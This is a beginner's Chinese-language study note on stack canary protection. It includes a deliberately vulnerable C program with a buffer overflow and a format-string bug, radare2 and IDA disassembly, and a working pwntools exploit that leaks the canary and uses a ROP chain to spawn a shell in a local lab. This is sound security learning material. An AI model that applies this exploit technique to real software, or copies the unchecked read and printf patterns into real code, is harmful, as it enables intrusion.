canary保护及绕过---笔记(上)

一个pwn新手的笔记

本文是个人对Canary保护详解和常用Bypass手段的学习笔记

1.1 canary保护简介:

canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致

个人理解:

  • canary=金丝雀,就像是之前里面探测瓦斯用的方法一样,金丝雀(canary)就是一个值,插入到了栈里面。函数结束时,如果检测到值改变了(相当于探测到了瓦斯),执行___stack_chk_fail函数,就会提前退出程序。

特点:

canary设计是以“x00”结尾,本意就是为了保证canary可以截断字符串。

1.2 C/C++的实现方法:

以一个64位程序为例子

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char ooo[100];
    for(int i=0;i<2;i++){
        read(0, ooo, 0x200);
        printf(ooo);
    }
}
int main(void) {
    init();
    puts("Hello radish!");
    vuln();
    return 0;
}

使用

gcc -fstack-protector-all pwn4fun.c -o pwn4fun

进行编译

-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:禁用堆栈保护

2.1 进行操作:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# rabin2 -I pwn4fun
arch     x86
baddr    0x400000
binsz    7101
bintype  elf
bits     64
canary   true
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

可以明显看到canary保护开启了

root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# r2 -AAA pwn4fun
[Cannot analyze at 0x00400660g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00400660ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- Help subcommand will be eventually removed.
[0x00400670]> afl
0x00400670    1 41           entry0
0x00400650    1 6            sym.imp.__libc_start_main
0x004006a0    4 50   -> 41   sym.deregister_tm_clones
0x004006e0    4 58   -> 55   sym.register_tm_clones
0x00400720    3 28           entry.fini0
0x00400740    4 38   -> 35   entry.init0
0x00400930    1 2            sym.__libc_csu_fini
0x00400934    1 9            sym._fini
0x00400610    1 6            sym.imp.setbuf
0x00400600    1 6            sym.imp.__stack_chk_fail
0x004008c0    4 101          sym.__libc_csu_init
0x004005f0    1 6            sym.imp.puts
0x00400620    1 6            sym.imp.system
0x004005c0    3 26           sym._init
0x00400630    1 6            sym.imp.printf
0x00400640    1 6            sym.imp.read
0x00400766    3 56           sym.getshell
0x0040079e    3 106          sym.init
0x00400808    6 104          sym.vuln
0x00400870    3 80           main

这里虽然麻烦,但是还是挂一下r2的反汇编感受一下:

[0x00400670]> pdf@main
            ; DATA XREF from entry0 @ 0x40068d
┌ 80: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_8h @ rbp-0x8
│           0x00400870      55             push rbp
│           0x00400871      4889e5         mov rbp, rsp
│           0x00400874      4883ec10       sub rsp, 0x10
│           0x00400878      64488b042528.  mov rax, qword fs:[0x28]
│           0x00400881      488945f8       mov qword [var_8h], rax
│           0x00400885      31c0           xor eax, eax
│           0x00400887      b800000000     mov eax, 0
│           0x0040088c      e80dffffff     call sym.init
│           0x00400891      bf4c094000     mov edi, str.Hello_radish   ; 0x40094c ; "Hello radish!" ; const char *s
│           0x00400896      e855fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0040089b      b800000000     mov eax, 0
│           0x004008a0      e863ffffff     call sym.vuln
│           0x004008a5      b800000000     mov eax, 0
│           0x004008aa      488b55f8       mov rdx, qword [var_8h]
│           0x004008ae      644833142528.  xor rdx, qword fs:[0x28]
│       ┌─< 0x004008b7      7405           je 0x4008be
│       │   0x004008b9      e842fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from main @ 0x4008b7
│       └─> 0x004008be      c9             leave
└           0x004008bf      c3             ret

这个就是检查失败过后运行的函数

 0x004008b9      e842fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)

对canary应该有了个大致印象
下面为了方便,直接上IDA吧:

  • 字符串:
LOAD:0000000000400238   0000001C    C   /lib64/ld-linux-x86-64.so.2
LOAD:00000000004003E9   0000000A    C   libc.so.6
LOAD:00000000004003F3   00000005    C   puts
LOAD:00000000004003F8   00000011    C   __stack_chk_fail
LOAD:0000000000400409   00000006    C   stdin
LOAD:000000000040040F   00000007    C   printf
LOAD:0000000000400416   00000005    C   read
LOAD:000000000040041B   00000007    C   stdout
LOAD:0000000000400422   00000007    C   stderr
LOAD:0000000000400429   00000007    C   system
LOAD:0000000000400430   00000007    C   setbuf
LOAD:0000000000400437   00000012    C   __libc_start_main
LOAD:0000000000400449   0000000F    C   __gmon_start__
LOAD:0000000000400458   0000000A    C   GLIBC_2.4
LOAD:0000000000400462   0000000C    C   GLIBC_2.2.5
.rodata:0000000000400944    00000008    C   /bin/sh
.rodata:000000000040094C    0000000E    C   Hello radish!
.eh_frame:0000000000400A0F  00000006    C   ;*3$\"

2.2 函数check

  • main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(*(_QWORD *)&argc, argv, envp);
  puts("Hello radish!");
  vuln("Hello radish!");
  return 0;
}
  • vuln
unsigned __int64 vuln()
{
  signed int i; // [rsp+Ch] [rbp-74h]
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 0x200uLL);
    printf(&buf, &buf);
  }
  return __readfsqword(0x28u) ^ v3;
}

很明显的一个溢出,而且v3就是canary的值

2.3 Crash

v3是 rbp-8h,buf是rbp-70,read可以读入200h,canary的末尾是\x00结尾的
 那么我们可以输入 0x70-0x8=0x68的字符串来泄露canary的值

比如说这样:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# ./pwn4fun
Hello radish!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
dg♂`}

为了不让文章太长,直接上EXP(主要是感受):

from pwn import *
#context.log_level = 'debug'
p = process("./pwn4fun")

pop_rdi_ret = 0x0400923
binsh = 0x040077d

print("========CANARY_LEAK=========")
payload = 'a'*104
p.recvuntil("Hello radish!")
p.sendline(payload)
p.recvuntil('a'*104+'\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
print("canary=====>",hex(canary))

print("========GET_SHELL=========")
payload = 'a'*104 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) + p64(0) + p64(binsh)
p.sendline(payload)

p.interactive()

最后的效果

root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# python flag.py
[+] Starting local process './pwn4fun': pid 165
========CANARY_LEAK=========
('canary=====>', '0x6af6e5d7d7b3bd00')
========GET_SHELL=========
[*] Switching to interactive mode
\x7f$ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$
$ ls
flag  flag.py  pwn4fun    pwn4fun.c
$ cat flag
flag{pwn_1s_r34lly_fun}

2.4 EXP说明

  • 最开始进行泄露,利用printf成功获得canary的值
  • 栈覆盖过后,利用gadget getshell,
  • canary值主要是覆盖后用于验证(rbp-70h的位置)

3 感悟

最后上一张图吧,


转自reddit
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。